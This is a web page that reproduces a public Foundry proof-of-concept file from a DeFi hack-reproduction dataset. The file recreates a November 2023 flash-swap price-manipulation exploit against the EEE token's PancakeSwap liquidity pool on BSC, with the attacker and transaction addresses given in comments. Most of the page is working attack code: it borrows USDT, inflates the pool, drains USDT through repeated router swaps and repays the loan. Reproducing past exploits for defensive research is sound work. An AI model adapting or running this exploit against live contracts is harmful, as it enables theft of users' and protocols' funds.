Public reproduction file
src/test/2023-11/EEE_exp.sol
Public reproduction file for dataset entry EEE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : ~$22.8K7// Attacker : https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c98// Attack Contract : https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c59// Vulnerable Contract : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c83310// Attack Tx : https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833#code15// @Analysis16// Post-mortem :17// Twitter Guy :18// Hacking God :20// @Other Findings21// address 0xde19b6f4eaaf3a897d1b190d37c86d6ef3b24d02 gained 9,358,702 EEE Token22// address 0xe568a4ce2eb77d230e1473d2cfd5b5e2129f69a8 gained 18K USD23// address 0xfef7b2b4fd8f9fdca24713999a5e76c044ccfc0d gained 27K USD25pragma solidity ^0.8.0;27import "forge-std/Test.sol";28import "./../interface.sol";30interface IPancakePool {31 function swap(uint256, uint256, address, bytes calldata) external;32}34interface IAttackRouter {35 function swap(address, uint256) external;36}38contract ContractTest is Test {39 IPancakePool pancake = IPancakePool(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0);40 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);41 address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;42 IERC20 usdt = IERC20(payable(usdtAddress));43 IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);44 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));46 address cake_LP = 0x0506e571ABa3dD4C9d71bEd479A4e6d40d95C833;47 address EEE = 0x297f3996Ce5C2Dcd033c77098ca9e1acc3c3C3Ee;48 address swap_router = 0x5002F2D9Ac1763F9cF02551B3A72a42E792AE9Ea;50 function setUp() external {51 cheats.createSelectFork("bsc", 33_940_984 - 1);52 }54 function testExploit() external {55 uint256 before = usdt.balanceOf(address(this));56 emit log_named_uint("[Begin] Attacker USDT before exploit", before);57 address me = address(this);58 pancake.swap(750_000_000_000_000_000_000_000, 0, me, "0x00");59 uint256 after_attack = usdt.balanceOf(address(this));60 emit log_named_uint("[End] Attacker USDT after exploit", after_attack);61 emit log_named_uint("[End] Profit in $", (after_attack - before) / 1e18);62 }64 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {65 usdt.transfer(cake_LP, amount0); // transfer usdt to the LP, surging the usdt supply67 uint256 EEE_amount = 52_000_000_000_000_000_000_000_000;68 IPancakePool(cake_LP).swap(EEE_amount, 0, address(this), ""); // get EEE69 IERC20(EEE).approve(swap_router, 100_000_000_000_000_000_000_000_000_000_000);71 // swap EEE to USDT72 IAttackRouter(swap_router).swap(EEE, 3_000_000_000_000_000_000_000_000);73 uint8 index = 0;74 while (index < 8) {75 IAttackRouter(swap_router).swap(EEE, 800_000_000_000_000_000_000_000);76 index++;77 }79 IERC20(EEE).transfer(cake_LP, IERC20(EEE).balanceOf(address(this))); // transfer directly to the LP81 IPancakePool(cake_LP).swap(0, 188_300_000_000_000_000_000_000, address(this), ""); // swap EEE to USDT82 usdt.transfer(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0, 751_950_000_000_000_000_000_000); // payback83 }85 fallback() external payable {}86}Analysis
Dataset entry
Public Foundry test for “EEE” (2023-11-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb06d402705ad5156b42e4279903cbd7771cf59c9
- Attack Contract
0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5
- Vulnerable Contract
0x0506e571aba3dd4c9d71bed479a4e6d40d95c833
- Attack Tx
0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc
- Explorer: https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9
- Explorer: https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5
- Explorer: https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833
- Explorer: https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833#code
File record
- Name
- EEE
- Path
- src/test/2023-11/EEE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dc3e868d115e94cc9b2b802d88aa22fb858670ee
- Language
- Solidity
- Size
- 87 lines
- Date
- 2023-11-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/EEE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dc3e868d115e94cc9b2b802d88aa22fb858670ee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.